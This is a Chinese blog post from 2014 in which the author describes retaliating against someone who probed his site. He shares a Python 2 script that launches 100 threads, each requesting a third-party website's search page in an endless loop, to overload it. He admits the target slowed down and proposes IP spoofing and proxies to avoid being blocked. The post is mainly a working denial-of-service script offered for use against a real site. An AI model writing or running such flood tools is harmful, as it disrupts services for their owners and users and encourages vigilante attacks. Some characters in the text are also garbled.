當前位置:博客首頁>>Python >> 閱讀正文

python多線程與urllib2一例

作者: 鄭曉 分類: Python 發(fā)布于: 2014-10-23 08:01 瀏覽:5,808 沒有評論


發(fā)現(xiàn)有人居然在試探下載我博客的源碼包,查了那家伙的IP,發(fā)現(xiàn)有一個網(wǎng)站,所以簡單寫了個python腳本,利用python的threading與urllib2庫進行瘋狂請求,不知道這算不算是攻擊的一種,反正在運行時它的站倒是挻慢的。。哈哈。。。


#coding: gbk
import urllib2
import os
import threading
import time
def ddos():
while True:
#我還是把人家地址給匿了吧。。。
req = urllib2.urlopen('http://www.xxxxxx.com/search/?type=0&keywords=%E7%A8%8B%E5%BA%8F')

print '當前攻擊線程數(shù):'+str(threading.activeCount()) + ' 返回狀態(tài)碼:'+str(req.code)+' ' + time.ctime()

threads=[]
for i in xrange(100):
t=threading.Thread(target=ddos,args=())
threads.append(t)
for i in xrange(100):
threads[i].start()
for i in xrange(100):
threads[i].join()

接下來還可以加入IP偽造、IP代理來防止他屏蔽IP。

? ? ? ?

本文采用知識共享署名-非商業(yè)性使用 3.0 中國大陸許可協(xié)議進行許可,轉(zhuǎn)載時請注明出處及相應(yīng)鏈接。

本文永久鏈接: http://www.yjfs.org.cn/python-threading-urllib2.html

發(fā)表評論

change vcode